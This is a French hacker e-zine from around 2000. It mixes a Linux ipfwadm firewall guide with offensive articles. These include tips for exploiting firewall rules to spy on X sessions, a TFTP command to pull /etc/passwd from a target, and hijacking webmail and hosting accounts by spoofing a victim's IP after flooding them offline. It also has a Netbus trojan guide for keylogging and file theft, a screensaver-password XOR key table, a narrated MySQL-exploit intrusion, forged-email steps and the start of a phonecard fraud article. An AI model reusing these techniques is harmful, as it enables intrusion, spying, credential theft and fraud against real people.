Le routeur prend en charge les paquets jusqu'à la couche IP. Le routeur transmet chaque paquet en fonction de l'adresse de destination du paquet et de la route vers la destination précisée dans la table de routage . Par contre le firewall ne transmet pas les paquets . Le pare feu accepte les paquets et les prend en charge jusqu'à la couche application .

 

II Les différents types .

 

1/Filtres de paquet .

Un firewall de ce type inspecte tous les paquets qu'il recoie et regarde s'ils correspondent aux règles préalablement établis. S'il respecte les règles il est accepté  sinon il est rejeté .  Les critères des règles peuventêtre par exemple l'adresse IP , les ports sources et destination contenu dansles paquets .

2/ Les Proxy .

Lorsqu'un firewall de type proxy est utilisé sur un réseau , il n'y a aucune connexion directe entre les systèmes du réseau local et le réseau Internet . Les machines internes se connectent en fait au firewall pour lui demander un service . Après le FW se charge de relayer la requête au serveur Internet puis de renvoyer la réponse au client interne

3/Les hybrides .

La je peux pas dire grand chose dessus .

 

III Filtre de paquet

ÞLa technologie de filtre de paquets est incluse dans le noyau de Linux . Le filtre doit agir dans la pile IP du système . Pour utiliser cette technique vous allez devoir une fois de plus recompiler le noyau (Youpi vous allez bien vous marrez ) et répondre YES aux questions suivantes :

 

IP : forwarding/gatewaying (CONFIG_IP_FORWARD)                     YES

IP : firewalling (CONFIG_IP_FIREWALL)                                                        YES

IP : firewall packet logging (CONFIG_IP_FIREWALL_VERBOSE)  YES

Le noyau compilé , installé , redémarré vous allez être en mesure de configuré le FW.ÞPour cela on va utilisé ipfadm .

La syntaxe générale est :

ipfwadm -A commande paramètres [options]

ipfwadm -I commande paramètres [options]

ipfwadm -O commande paramètres [options]

ipfwadm -F commande paramètres [options]

ipfwadm -M [-l ou -s] [options]

 

Comme vous venez de le voir il y a cinq catégories :

  -A configuration de l'accounting (compatibité des paquets atteignant le système) .

  -I règles à appliquer aux paquets TCP/IP en entrée .

  -O règles à appliquer aux paquets TCP/IP en sortie .

  -F règles à appliquer aux paquets TCP/IP à router d'une interface à une autre .

  -M administration de l'IP Masquerading .

Perso je pourrais vous parler que des categories I , O , F , M. ipfwadm possède de très nombreuses options que je vais pas décrire ici par ce j'ai pas envie ! Lisez la doc Linux .

ÞAvant de créer toute règles de filtre IP , vas falloir définir des règles de sécurité .

Par exemple pour ma machine on va dire :

n Toute connexion du réseau internet vers une machine interne est interdite .n De extérieur , on doit avoir accès au serveur de messagerie et au service DNS du firewall .On va dire qu'on a un réseau interne de type 193.1.1.0/24 et qu'on est relié à un sous réseau de type 193.1.2.0/24  (entre le FW et le routeur) . Le FW ayant pour adresse 193.1.1.254 en interne (eth0) et 193.1.2.1 en externe (eth1) .

Je vais maintenant dire quelques uns des filtres que j'applique

-ipfwadm -O -p accept

La règle par défaut des paquets en sortie est accept (-p représente l'action

par défaut)

- ipfwadm -I -p deny

La règle par défaut des paquets en entrée est deny .

-ipfwadm -F -p deny

La règle par défaut des paquets à router en entrée est deny .

-ipfwadm -F -a  accept -S 193.1.1.0/24 -D0/0 -P tcp

Autorisation pour router tous les paquets TCP provenant de l'extérieur .

-ipfwadm -I -a deny -S 193.1.1.0/24 -D0/0 -W eth1

Cette commande sert à lutter contre le SPOOFING (changer son adresse IP) en effet cette règle dit que tous les paquets qui rentrent dans le sous réseau sécurisé et qui ont une adresse source correspondant à une adresse du sous réseau (ce qui n'est pas logique) doivent être rejeté !

-ipfawadm -I -a accept -P udp -S0/0 -D 193.2.1.1 53

-ipfawadm -I -a accept -P tcp -S0/0 -D 193.2.1.1 53

Ces mesures disent que les accès au serveur DNS (port 53)  sont accessible de n'importe où .

-ipfawadm -I -a accept -P udp -S0/0 -D 193.2.1.1 25

Accès au serveur SMTP du firewall de n'importe où .

Malheureusement on retrouve là le plus grand inconvenient des FW . En effet dans l'état actuelle système on ne pourra pas faire fonctionner un client FTP du réseau interne avec un serveur situé à l 'extérieur . Le protocole FTP prévoit l'établissement d'une connexion du serveur FTP vers le client (du port 20 -> port > 1024)

 

Mais il y a des solutions .

- Utiliser le client FTP en mode passif  (A ce moment le client établit une

connexion vers le serveur ftp)

- Utiliser un proxy(voir section suivante) installé sur le FW qui relaiera

les requêtes de l'intérieur vers extérieur .

- Utiliser l'IP masquerading .

- Ou alors rajouter cette règle

               ipfwadm -F -a accept -P tcp -S0/0 20 -D 193.1.1.0/24 1024-65535

Remarque intéressante : Si vous tombez sur un système avec une règle de ce type , vous pouvez en profitez , en effet cette règle expose les services du réseau interne qui écoutent sur un port >1024 . A partir de la vous avez plus qu'a fait partir un paquet du port 20 de votre machine vers un service .Beaucoup de services tournent sur ce port  .

Par exemple pour sur les ports 6000vous avez les services X-Windows . S'ils n'ont pas été protége correctement vous pouvez matter ce que fait le mec !  Vous pouvez mêmes voir les touches frappées , les programmes lancées . Si vous faites telnet dessus vous aurez je pense l'effet d'un denial of service ; l'écran va se geler , le sys va ralentir ... Mais il y a plus rigolo !

SI vous vous y connaissez un peu en programmation utilisez la fonction XOpenDisplay() , si la fonction retourne NULL alors c'est securise sinon ...

 

    char   *hostname;

    if (XOpenDisplay(hostname) == NULL) {

       printf("Loupe : %s\n", hostname);

    } else {

       printf("Ca marche : %s\n", hostname);

    }

Il y a a autre chose auquel il faut penser . Normalement la route qu'emprunteun paquet de se source a sa destination est determinee par les routeurs qui se trouvent entre eux . En fonction de l'adresse de destination et de leur table les routeurs se chargent de dirigier les paquets . Mais dans une trame TCP/IP , il y a une option  qui porte le nom de " source routing " qui est peu utilisee . En fait on l'utilise dans le debuggage des reseaux pour trouver les problèmes . Le truc c'est que si vous envoyez un paquet en faisant croire qu'il vient de l'interieur , normalement les routeurs ne devrait pas l'ammener au FW mais le probleme la c'est  qu'ils le font avec cette option . En plus c'est pas hyper du a faire ! Mais normalement il y a des options pour desactiver le "source routing " .

Note : n'oubliez pas de configurer les clients de telle façon que le routeur par défaut soit le FW .

 

IV IP MASQUERADING .

ÞC'est une technique de plus en plus utilisée . Elle consiste à masquer totalement l'adressage IP du réseau interne ( On peut donc utiliser des adresses IP privées ) . Ainsi chaque paquet qui traverse le firewall est modifié pour faire croire qu'il n'y a qu'un seul système connecté . Tout le réseau interne partage ainsi l'adresse IP (externe)  du  FW .

 

ÞInstallation :

Bon beh va falloir recompiler le noyau (c'est la fête !) et répondre YES aux questions :

IP : forwarding/gatewaying (CONFIG_IP_FORWARD)                    

IP : firewalling (CONFIG_IP_FIREWALL)                                                       

IP : firewall packet logging (CONFIG_IP_FIREWALL_VERBOSE) 

IP : masquerading (CONFIG_IP_MASQUERADE)

IP : ICMP masquerading (CONFIG_IP_MASQUERADE_ICMP)

(Répondez oui que si le FW doit router les paquets ICMP)

 

ÞMaintenant vous allez être en mesure d'utiliser une autre des 5 options

d'ipfwadm : l'option -M .

Pour cela utiliser l'option -l qui liste les connexions qui utilisent l'IP

masquerading et -s qui fixe le timeout .

Pour autoriser le masquerading il faudra les règles suivantes

- ipfwadm -F -p deny

- ipfwadm -F -a masquerade -S 192.10.10.0/24 -D0/0

 

V PROXY .

ÞD'après ce que j'ai lu et ce qu'on m'a dit la meilleure solution pour utiliser une machine Linux en proxy consiste à utiliser l'ensemble d'outils qu'offre TIS .Ils fournissent un package connu sous le nom de FW toolkit . Vous pouvez le telecharger sur le site Web de TIS http ://www.tis.com/docs/products/fwtk/index.html

 

ÞInstallation

Bon comme vous allez être un Proxy , il va falloir forcement désactiver la fonction de routeur de Linux . Pour cela on recompile le noyau en répondant NO au forwarding/gatewaying (CONFIG_IP_FORWARDING) . Vous êtes pas obligé de mettre cette option mais si vous ne le faites pas les machines du réseau interne seraient directement accessibles de l'extérieur à travers les possibilités du FW .

Si l'IP forwarding est laisse , alors la il y a une faille mais la je connais pas du tout ,en fait la solution  serait de downer le firewall , ainsi le FW ne marcherait plus mais le noyau lui continuerait a router les paquets sans suivre les règles ! Pour ça , il  y a des solutions diverses et pas très gentilles comme le SYN flooding et autres attaques barbares . Bon vous compilez les outils TIS en suivant les instructions .

 

ÞConfiguration

La table netperm réside dans le fichier /usr/local/etc/netprem-table . Cette table décrit la configuration principale de tous les composants du Trusted Firewall Toolkit . Quand une des applications est lancée elle va chercher sa config dans cette table

 

ÞDescription :

-Netacl : Cette application permet de donner l'accès aux différents services

TCP . Ce programme se démarre depuis le super-démon inetd . Si par exemple on ajoute au fichier /etc/inetd.conf

telnet stream tcp nowait root /usr/local/etc/netacl telnetd

Avec ca quand une requête atteint le port ftp du système netacl se démarre avec comme paramètre telnetd . Mais avant que le démon soit lance le logicielvérifie que la requête est valide selon la table . Par exemple si je veux autorise aux personnes de mon réseau interne de se connecter au telnet du FW faudra ajouter :

netacl-telnetd : permit-hosts 193.1.1.* -exec /usr/sbin/in.telnetd

(note 193.1.1.* équivaut à 193.1.1.0/24)

Après on a aussi tous les logiciels qui implementent un relais pour les services . En fait le client fait d'abord une requête au service du FW puis de la fait une requête pour se connecter au site extérieur . Selon les règles du proxy cette connexion sera refusée ou acceptée .

-tn-gw : relais pour le service telnet .

-ftp-gw : relais pour le service ftp .

-rlogin-gw : relais pour le proxy rlogin .

-http-gw : relais pour client HTTP et gopher .( pratique pour empêcher certaines applications JAVA ) ....

Il y en a d'autres mais je les connais pas tous donc pour plus de renseignement allez voir vous même !

 

exemple de config de /usr/local/etc/netperm-table :

tn-gw : deny-hosts * -dest 193.1.1.*

Interdiction a ces machines d'accéder au service telnet .

tn-gw : permit-hosts 193.1.1.25

autorise la machine 193.1.1.25 a accéder au service telnet .

Pas compliqué et je vous jure que c'est incroyable tout ce que l'on peut faire et les espèces de trou dans la sécurité que ca peut faire !

 

VI Assainissement et protection du Firewall .|

Bon vous avez compris , quand on veut attaquer un système qui possède un FW il y a pas 36 choix il faut attaquer le FW . Alors reste plus qu'à trouver les points faibles et donc il faut vérifier la protection de cette machine . On va maintenant voir comment on assainie un Firewall . Premièrement, regardez le fichier /etc/inet.conf. Ce  fichier est ce qu'on appelle un "super-serveur". Il lance un tas de démons serveurs  sur demande .Il contient la liste des services offerts . Il faut enlever tous les services qui ne sont pas parfaitement obligatoire comme NIS, NFS, rsh, rcp, netstat,systat,tftp,bootp et finger...

NOTE qui peut faire gagner du temps : Il n'est pas nécessaire de tout désactiver. Pour désactiver un service, placez simplement un # devant. Ensuite envoyez un signal SIG-HUP au processus inetd, selon la syntaxe suivante : kill  -HUP <pid>, ou pid est le numéro du  processus inetd. (Pour avoir le PID si vraiment vous êtes débutant sous Linux , faites ps -uax |grep inetd ) . Cela force inetd a relire son fichier de configuration (inetd.conf) et a se relancer .

Petite astuce :

Si TFTP est ouvert tenté le coup , ce protocole permet de transférer des fichiers comme ftp mais s'appuie sur le protocole UDP. Il est donc moins sur et ne peut servir que pour les fichiers de petite taille . Mais surtout il ne demande pas de MOT DE PASSE ET DE COMPTE UTILISATEUR ! Donc tout utilisateur qui a accès au port 69a accès à tous les fichiers lisibles par le démon correspondant . Il y a peut être de bonnes infos à prendre .

 tentez ca :

evil % tftp

 tftp> connect victim.com

 tftp> get /etc/passwd /tmp/passwd.victim

 tftp> quit

Pour la sécurité Il faut aussi bien évidemment supprimer tous les comptes utilisateurs inutiles .

Il faut aussi supprimer tous les package installés qui n'ont rien à faire sur un firewall comme X window , les  services NFS et Samba , les jeux (OK c'est  discutable pour le dernier ) .....

Exemple type de machine ou on installe un firewall :

Je vais prendre mon PC , un 166MMX , 32 Mo de Ram et une partition de 800 Meg pour Linux  avec une connexion PPP a un fournisseur Internet (ça je l'ai pas encore L ) par un modem 36,6 kbps. Pour  en  faire  un  firewall , On ajoute un carte ethernet compatible NE2000. Il est alors connecte a trois autres PC . Et voilà un firewall typique .

ÞPour protéger le firewall (en effet c'est lui qui va se prendre dans la gueule toutes les attaques) il faut utiliser un filtre de paquet . Pour faire ca on recompile le noyau avec ces options :

IP : forwarding/gatewaying (CONFIG_IP_FORWARD)                     NO

IP : firewalling (CONFIG_IP_FIREWALL)                                                        YES

IP : firewall packet logging (CONFIG_IP_FIREWALL_VERBOSE)  YES

On s'inspira des règles sur le filtrage des paquets exposé dans le III notamment celle contre le spoofing !

 

tromh@yahoo.com    www.altern.org/trom

Greetings : C-A, R3Z0 , Kortex agency , i-e , tous les gars sur #hack.fr (undernet)

 

 

Faille sur Ifrance

 

Vous devez sûrement connaître Ifrance ? l’hébergeur gratuit. www.ifrance.com

Bon Ifrance soufre de la même faille que wanadoo. Je m’explique :

Lorsque que vous allez sur Ifrance et que vous allez regardez l’audience de votre site, vous entrez votre login et passwd. Mais regardez, si vous quittez ifrance et que vous revenez, on va pas vous demandez votre passwd et votre login, vous atterrirez directement sur la page de gérance de votre site. Pourquoi allez vous me dire ? et bien parce que ifrance utilise une identification par IP. Donc vous donnez une fois votre passwd avec une IP et tant que vous avez cette IP il ne vous sera plus demander votre passwd.

Wanadoo utilise à peu près la même technique d’identification.

 

Vous allez me dire en quoi cela est une faille ? pour certains vous aurez déjà compris mais je vais expliquer :

 

Voila, imaginons que vous êtes en chat avec un gas et que celui ci vas voir son site sur ifrance. Normalement vous aurez aucun problème pour vous procurez l’ip de ce gas. Si vous êtes sur IRC ou ICQ, ya pas de problemes ; si vous êtes sur un chat du style odigo et bien utiliser un écouteur de ports qui vous dira l’ip de la machine avec qui vous êtes connectée. Une fois que vous avez son ip, il ne vous reste plus qu’a le déconnecter et a faire un spoof sur son ip. Pour le déconnecter vous pouvez utiliser le nuke, le flood, le ping etc...

Une fois que vous avez son ip, vous allez sur ifrance, vous cliquez sur « mon site » et la magie, vous atterrissez sur la page de gérance du site au gas. Vous avez donc son nom, prénom etc... ainsi que son passwd. Cela peut être utiliser par exemple pour hacker son site, c’est plus rapide que d’utiliser un crackeur. Enfin le mieux c’est quand même le SE.

 

Pour wanadoo, c’est exactement la même chose. Vous pourrez avoir accès à l’espace personnel de la personne. Et avoir toute les infos qui s’y trouve.

 

Il y a de nombreux services qui fonctionne comme ça et qui présente cette faille. Si vous en connaissez et bien maillez moi comme ça je pourrai faire une petite liste et je la mettrai dans un futur zine.

 

By The JokeR

 

Netbus

 

Comment se servir de Netbus?

 

Quand on a débuté dans le hacking, on a tous fait mumuse au moins une fois avec un cheval de Troie. C'est pourquoi j'écris cet article qui s'adresse au débutants, car très souvent sur le chat, on m'a demandé comment se servir de Netbus.

 

Je connaîs quelqu'un qui dans la case où on met l'IP mettait le pseudo de la personne,et dans la case pour le port, qui est 12345, mettait un truc du genre 19.396 ;-)))

 

Donc dans la case "Host name/IP", mettez l'adresse IP de la cible, et dans la case "Port", laissez 12345. Si vous le changez, ça marchera pas ! En effet, le petit patch que vous avez, bien sûr, envoyez avant de vous connectez au PC cible, sert à ouvrir le port 12345 de la machine adverse.

 

Maintenant que vous êtes conectés, utilisez les commandes suivantes:

 

Server Admin: sert à fermer ou à virer le serveur

 

Open CD-Rom: sert à ouvrir le lecteur Cd-rom et de le refermer

 

Show image: sert à afficher une image au format BMP ou JPG présente dans l'ordinateur de la victime

 

Swap mouse: sert à inverser les boutons de la souris

 

Start program: sert à lancer une application présente dans l'ordinateur de la victime

 

Msg manager: sert à envoyer des messages d'erreurs (avec possibilité de mettre une case pour avoir une réponse)

 

Get info: sert à afficher des infos telles que l'emplacement du serveur et le nombre de personnes connectées

 

Play sound: sert à jouer un son présent dans l'ordinateur de la victime

 

Exit windows: permet de déconnecter, redémarrer, mettre en veille et éteindre l'ordinateur de la victime

 

Send text: permet d'envoyer un texte à la victime

 

Active wnds: permet de voir, focaliser, fermer les fenetres ouvertes chez la victime

 

Mouse pos: permet de mettre le curseur de la victime en haut à gauche de son écran (à condition que les coordonnées soient ( 0 ; 0 )

 

Listen: permet de voir tout ce que la victime tape sur son clavier (et d'envoyer de courtes phrases)

 

Sound system: permet de régler les volumes et de faire des captures audios

 

 

Server setup: menu de modification du port et du pass

 

Control mouse: permet de controler la souris de l'ordinateur distant

 

Go to URL: envoie la victime à une addresse Internet de votre choix

 

Key manager: permet de faire sonner une erreur à chaque tape et annules les touches désirées

 

File manager: permet d'envoyer, de recevoir et d'effacer des fichiers

 

                                                    [Article proposé par GlÄdIÄThÖR]

                                                       0 800 900 272--BOITE--4012#

 

 

Cracker l’écran de veille

 

Comment cracker le pass de l'écran de veille de Windows ?

 

 

Cette technique de cracking est très simple, n'importe quel abruti pouvant la réaliser, et on en parle pas souvent dans les zines, je l'ai vu qu'une fois, et c'était dans Pirates Mag' n°6 je crois.

 

THEORIE:

 

Il suffit de récupérer la chaîne de caractères héxadécimaux du pass dans la base de registres, de la mettre en décimal, de faire un XOR avec la clé appropriée, et d'aller consulter la table ASCII pour savoir à quel caractère correspond le résultat trouvé (la table ascii est donnée un peu plus bas)

 

PRATIQUE:

 

Ouvrez la base de registres en tapant "REGEDIT.EXE" dans >démarrer, >exécuter, puis faites CTRL+F tapez "screensave_data".

 

Vous êtes maintenant à l'endroit qui nous intéresse. Un double-clique sur "screensave_data", et relevez l'expression héxa de la dernière colonne de la fenêtre qui s'est ouverte en double-cliquant. ATTENTION !!! L'expression, suivant le nombre de caractères du pass, peut être sur plusieurs lignes, il faut donc TOUT prendre !

 

Elle ressemblera à ça : 7A25369B

 

Décomposons-la par paires : 7A  25  36  9B <==il y a donc 4 caractères dans le pass, car 4 valeurs héxa.

 

Il ne reste plus qu'à appliquer quelques opérations très simples avec la calculatrice de Win. Ouvrez-la, et entrer la première valeur, 7A, en mode HEXADECIMAL (hex) !!! Cliquez maintenant sur "dec" pour avoir la valeur décimale, ce qui va donner : ........122 !

 

nb: la calculette doit être en mode SCIENTIFIQUE.

 

Pour trouver enfin la valeur ascii, il faut faire:

 

 

122 XOR clé.

Il nous manque donc la clé, mais ne vous inquiétez pas, je l'ai calculé :o)

 

ATTENTION ! La clé change à chaque caractère, je veux dire par làque pour le premier caractère, qui est dans l'exemple 7A, soit 122, laclé aura une certaine valeur, mais plus on avance, eh ben la clé change ! Pour le caractère n°2, qui est 25, ça sera une autre clé, etc...

 

TABLEAU DES CLES:

 

                      Position          Clé

                        

                         1               72

                         2              238

                         3              118

                         4               29

                         5              103

                         6              105

                         7              161

                         8               27

                         9              122

                        10              140

                        11               71

                        12              248

 

Reprenons donc le calcul, en utlilisant la clé 72, vu que c'est le premier caractère.

Toujours avec la calculette, faites:

 

122 XOR 72 = 50, soit 2 dans la table ascii ci-dessous:

 

        Table ASCII standard (codes de caractŠres de 0 … 127)

 

000   (nul)  016  (dle)  032 sp  048 0  064 @  080 P  096 `  112 p

001  (soh)  017  (dc1)  033 !   049 1  065 A  081 Q  097 a  113 q

002 [1] (stx)  018  (dc2)  034 "   050 2  066 B  082 R  098 b  114 r

003


 (etx)  019  (dc3)  035 #   051 3  067 C  083 S  099 c  115 s

004


 (eot)  020  (dc4)  036 $   052 4  068 D  084 T  100 d  116 t

005  (enq)  021  (nak)  037 %   053 5  069 E  085 U  101 e  117 u

006  (ack)  022  (syn)  038 &   054 6  070 F  086 V  102 f  118 v

007  (bel)  023  (etb)  039 '   055 7  071 G  087 W  103 g  119 w

008  (bs)   024  (can)  040 (   056 8  072 H  088 X  104 h  120 x

009   (tab)  025  (em)   041 )   057 9  073 I  089 Y  105 i  121 y

010   (lf)   026   (eof)  042 *   058 :  074 J  090 Z  106 j  122 z

011  (vt)   027  (esc)  043 +   059 ;  075 K  091 [  107 k  123 {

012  (np)   028  (fs)   044 ,   060 <  076 L  092 \  108 l  124 |

013   (cr)   029  (gs)   045 -   061 =  077 M  093 ]  109 m  125 }

014  (so)   030 ‑ (rs)   046 .   062 >  078 N  094 ^  110 n  126 ~

015  (si)   031 ­ (us)   047 /   063 ?  079 O  095 _  111 o  127 

 

       Table ASCII ‚tendue (codes de caractŠres de 128 … 255)

 

128 € 

129   

130 ‚     

131 ƒ    

132 „     

133 …   

134 †     

135 ‡     

136 ˆ     

137 ‰     

138 Š     

139 ‹     

140 Œ     

141      

142 Ž     

143      

144      

145 ‘     

146 ’   

147 “   

148 ”     

149 •     

150 –     

151 —     

152 ˜     

153 ™     

154 š     

155 ›     

156 œ     

157   

158 ž     

159 Ÿ     

160  

161 ¡   

162 ¢   

163 £   

164 ¤   

165 ¥   

166 ¦   

167 §   

168 ¨   

169 ©   

170 ª    

171 «   

172 ¬   

173 ­   

174 ®   

175 ¯   

176 °   

177 ±   

178 ²   

179 ³  

180 ´   

181 µ   

182 ¶   

183 ·   

184 ¸   

185 ¹   

186 º   

187 »   

188 ¼   

189 ½   

190 ¾   

191 ¿   

192 À   

193 Á   

194     195 à

196 Ä   

197 Å   

198 Æ   

199 Ç   

200 È   

201 É   

202 Ê   

203 Ë   

204 Ì   

205 Í   

206 Π  

207 Ï   

208 Ð

209 Ñ   

210 Ò  

211 Ó 

212 Ô   

213 Õ   

214 Ö   

215 ×   

216 Ø   

217 Ù   

218 Ú   

219 Û   

220 Ü   

221 Ý   

222 Þ   

223 ß   

224 à 

225 á  

226 â  

227 ã  

228 ä  

229 å  

230 æ  

231 ç  

232 è  

233 é  

234 ê  

235 ë  

236 ì  

237 í  

238 î  

239 ï  

240 ð

241 ñ

242 ò

243 ó

244 ô

245 õ

246 ö

247 ÷

248 ø

249 ù

250 ú

251 û

252 ü

253 ý

254 þ

255

 

 

Vous pouvez vous entraîner avec votre PC !

 

                                                [Article proposé par GlÄdIÄThÖR]

                                                  0 800 900 272--BOITE--4012#

 

Genese du hacking

 

il ya bien longtemps dans une lointaine galaxie...

vivais une civilisation cette civilisation

vivant en paie depuis des millénaire

vit un jour lavenement du mal

 

     Des être malin ,visant  la domination de l’espèce humaine

 En réaction cette civilisation forma des chevaliers, sages mais puisant,

 charger de faire respecter la justice et la vérité.

 

 Ainsi ce forma 2 clans la deuxième ayant pour but d'étendre son pouvoir

 et d'asservire la population de part l'univers

 

 S'en suivis durant des siècles une guerre sans merci durant la quelle la lutte

 était sans relâche jusqu au jour ou la perversité de certain hommes, s'alliant

 avec le mal pour quelque gains substantiel, provoqua la chute

 progressive des jedi

 

 Et les spolieur remportèrent une victoire

 Mais ces jedimaster pourchassé ne périr pas tous certain vinrent ce

 réincarner sur une calme petite planète appeler TERRE

 

 Ces justes grandirent et comme leur destin leur promettaient il se mirent

 a luter une fois encore contre des ennemis ayant eux aussi une autre apparence

 mais personnifiant toujours le mal (Ft, Win,...)qui une fois encore allait

 dominer une planète

 Mais en tirant les leçons inconscientes du passé ces chevaliers restèrent

 cacher utilisant la meilleure façon possible de luter:

   Ils utilisèrent les meilleurs outils qu'on leur fournit et

   inventèrent le Hacking devenant par la même des guerriers de l'ombre

 

 

 De nos jour on ne sait que très peu de chose sur ces véritable guerriers

 car beaucoup sont très difficilement repérable mais tous ce que  l'on sait

 ce que a chaque fois q'une entreprise, voulant étendre son pouvoir ,a de

 sérieux problèmes : il ne sont pas loin...

 

 MAY THE FORCE BE WITH YOU

 

 by KuN Sh@doW

 

P.S Oui c tres manicheen Non je ne suis pas americain

 

Exemple de hack n°2

 

Salut, tout le monde ! nous revoilà pour de nouvelles aventures comme promis !J

Cet fois c’est un peu plus compliquer et il vous faudra Linux ! Aller on y vas :

 

Un soir en allant dans un bar avec un pot, je vois sur le mur une affiche dégeulace (pour son thème). Donc je me stop devant l’affiche et commence à l’insulter (enfin pas l’affiche mais la personne qui avait dessus). Et pis tout un cou je vois en bas de l’affiche marquer : www.xxx.fr en voyant ça je me suis frotté les mains et j’ai retenue l’URL. Après ma ptite soirée, je suis rentré chez moi (avec un peu de mal, mais j’y suis arriver !J ). Le lendemain je me met direct à regarder ma futur cible (celle de l’affiche).

 

Donc comme d’habitude ( pour ceux qui on pas lu le zine 3, je vous conseil de lire l’article sur exemple de hack n°1), je fais un ptit fichier .txt

Je met dedans l’URL, l’IP de ma victim. Ainsi que ce qu’elle utilise sur le port 80 ici c’est frontpage 4.0.4.3, je mets également un whois avec l’adresse et le tel des responsables etc…(ainsi que quelque autres infos élémentaires : cf zine n°3). Bien évidemment je pense à spoofer mon ip avant de faire quoique ce soit ou bien je fais une beige box.

 

On continue la routine avec un scan de ports, mais sur se cou la je vais pas faire un scan banal en tcp car je me ferai loguer de suite par ma victime. Donc je vais faire un scan « demi ouvert », je pourrai être plus prudent mais je pense que cela sera suffisant pour ne pas me faire loguer. Je sors nmap et je l’utilise avec l’option -s. En gros j’obtiens :

 

7             echo

22           ssh 1.5-1.2.20       

21           ftp

25           smtp

80           www

110         pop3

111         portmap/sunrpc

389         ?

443         ?

513         rlogin

3306       mysql

 

il y avait d’autres ports ouvert mais c’est sans grande importance.

Ensuite notre ptit scan CGI, avec le quel j’obtient :

 

Recherche de php.cgi          : FAILLE !

Recherche de _vti_inf.html    : FAILLE !

Recherche de shtml.dll        : FAILLE !

Recherche de shtml.exe        : FAILLE !

 

Bah en voilà de jolie choses ! J je crois que j’ai déjà pas mal d’infos donc je vais m’arrêter la pour le moment., et examiner tout ça :

 

Il y a 3 choses qui m’intéresse particulièrement, il s’agit du port 22, 3306 et du port 111.

Sur ssh y a une petite faille qui permet de faire l’effet d’un finger dessus. Et le port 111 m’intéresse car cela veut dire qu’il y a probablement NIS. Le port 3306 m’intéresse car ya une faille dans mysql.

La victime utilise apache 1.3.4 qui présente également une faille qui permet de créer un account a distance.

Donc résumons : ya la faille ssh, nis, apache, mysql plus les cgi. Et ya surement une ou des failles dans frontpage. C’est largement suffisant !!

 

Donc je vais commencer par vérifier NIS. Je fais un rpcinfo et j’ai confirmation que NIS est présent. C’est une bonne chose, reste plus qu’a espérer que le NIS n’est pas protéger.

Donc je vais essayer : lisez l’article sur NIS (+ haut) pour savoir comment faire.

Je n’arrive pas a trouver le nom de domaine, les admins ont du être méfiant sur ce point. Je pourrai trouver par une autre manière le nom de domaine mais bon je vais passer a autre chose.

Je vais voir si la faille sur mysql est présente. Donc je me connecte en telnet sur le port 3306 de ma victime, et comme je vois que je reste connecter et que la version affiché de mysql n’est pas exempte de bugs, et bien je vais utiliser cela.

Je prend mon exploit pour mysql et je l’applique gentiment. Voilà, ma cible is hacked ! J

 

Je précise que pour l’instant tous les exemples de hack que j’ai fais sont des cas simplifier. En général c pas aussi simple sauf si il s’agit de petit serveurs. Normalement la prise d’empreinte est bien plus importante. J’essayerai de présenter dans le prochain zine un exemple de vrai hack (avec des firewalls, dns etc…).

 

By The JokeR

 

 

Anonymail

 

Anonymail:

 

La technique que je vais vous apprendre ici, sert à envoyer un mail de façon anonyme, grâce à TELNET. Cela peut servir à foutre les boules à un copain, à un connard rencontré sur le chat...

Le seul risque qu'il y a, c'est que si la personne à qui vous envoyez un anonymail connaît cette technique, et qu'elle a un doute sur l'authenticité du mail, il lui suffira de lire le mail avec son navigateur, et d'afficher la source : elle pourra ainsi voir par où est passé le mail.

 

Si vous recevez un mail ayant passé par Infonie, puis par Wanadoo, y a de quoi se poser des questions...

 

Comment faire ??

 

Ouvrez tout d'abord TELNET en faisant

>Démarrer

>Exécuter

>telnet,

puis allez dans

>Terminal

>Préférences, et vérifiez que l'option "echo local" soit coché, et que la taille de la zone tampon ne soit pas inférieure à 25.

 

Allez ensuite dans

>Connexion

>Système distant, et complétez la zone de texte "nom de l'hôte" par un servuer de courrier.

 

En voilà trois à utiliser:

-mail.infonie.fr

-mail.wanadoo.fr

-mail.club-internet.fr

 

Mettez 25 pour le port, et comme terminal, mettez VT100 (normalement, c'est déjà coché).

Reste plus qu' appuyez sur "Connecter" !

 

Une fois connecté, un message d'accueil du serveur va s'afficher, il faut lui répondre

> HELO ESMTP

 

ATTENTION !!! Ce n'est pas toujours ESMTP, cela dépend du serveur que vous avez pris (je crois que pour infonie, c'est un autre truc, mais pour club-internet, c'est bon).

 

Tapez ensuite

>MAIL FROM: <faux_login@faux_serveur.com>

 

Vous l'aurez compris, vous mettez ce que vous voulez, c'est l'adresse que vous voulez que la victime voit lors de la réception du mail.

 

Ensuite, tapez

>RCPT TO: <abruti@wanadoo.fr>

 

Ici, faut mettre l'adresse mail du destinataire.

 

nb: Pour ces deux commandes que vous aves taper, il faut qu'à chaque fois le serveur vous réponde ok, sinon, faut recommencer. Ne croyez pas que c'est foutu si ça dit 4 fois de suite pas ok, j'ai déjà du essayé 5 foisun jour !!!

 

Maintenant que tout ça est fait, tapez

>DATA

 

Cette commande sert à indiquer aus serveur que vous êtes prêt à taper le mail, et ce dernier va vous répondre ce que vous devez faire pour valider la mail. Dans la plupart des cas (ex: club-internet), ça sera écrit un truc du genre

 

==>end mail with "."

 

9a veut dire que pour valider votre mail, il faudra mettre un pointtout seul sur une ligne et faire entrer.

 

EXEMPLE:

 

Salut,

Vous mettez ici votre message, et dès que c'est faite, on mets le point seul sur une ligne.

. <==le point seul sur une ligne

 

Donc votre mail est envoyé, et le serveur vous répond un truc en anglais (je ne sais plus quoi exactement) pour vous dire que le mail a bien été expédié.

 

Tapez enfin "QUIT" pour quitter le serveur.

 

                                                     [Article proposé par GlÄdIÄThÖR]

                                                        0 800 900 272--BOITE--4012#

 

T1G

 

Crackage de FT®

ou plus précisément des télécartes T1G.

par QuanTuM (CrackHouse)

samedi 1 juillet 2000 (mise à jour septembre 2000)

 

Intro:

D'abord ,j'ai décidé de faire cet article à cause des lamers à 10 balles qui pensent qu'avec un ticket de métro ou avec une séance d'UV pour la carte ,on pouvait se servir des cabines sans payer!

Bon, c'est mon premier zine que j'écris alors soyez indulgent! ;-)

Je tiens aussi à dire que hacker ,c'est pas bien (pour les honnètes gens)! Je suis un honnête gens moi??? NAN! et toi???

 

Alors??

Donc d'abord , il existe 2 types de télécartes, celle dites de premières génération (T1G) et celle dites de secondes génération (T2G) (on reconnaît les T1G au fait qu'il n'y a pas écrit dessus T2G!! logique).Dans cette article, on va s'intéresser au T1G,les T2G étant beaucoup plus difficile à émuler du fait qu'elle contiennent un microprocesseur avec de puissant algorithme contre la fraude! (Ce sera pour un autre article!)

Contrairement à l'article de P.Gueulle (Pirate Mag Hors Série N°1), FT continue la distribution des T1G.

Sommaire:

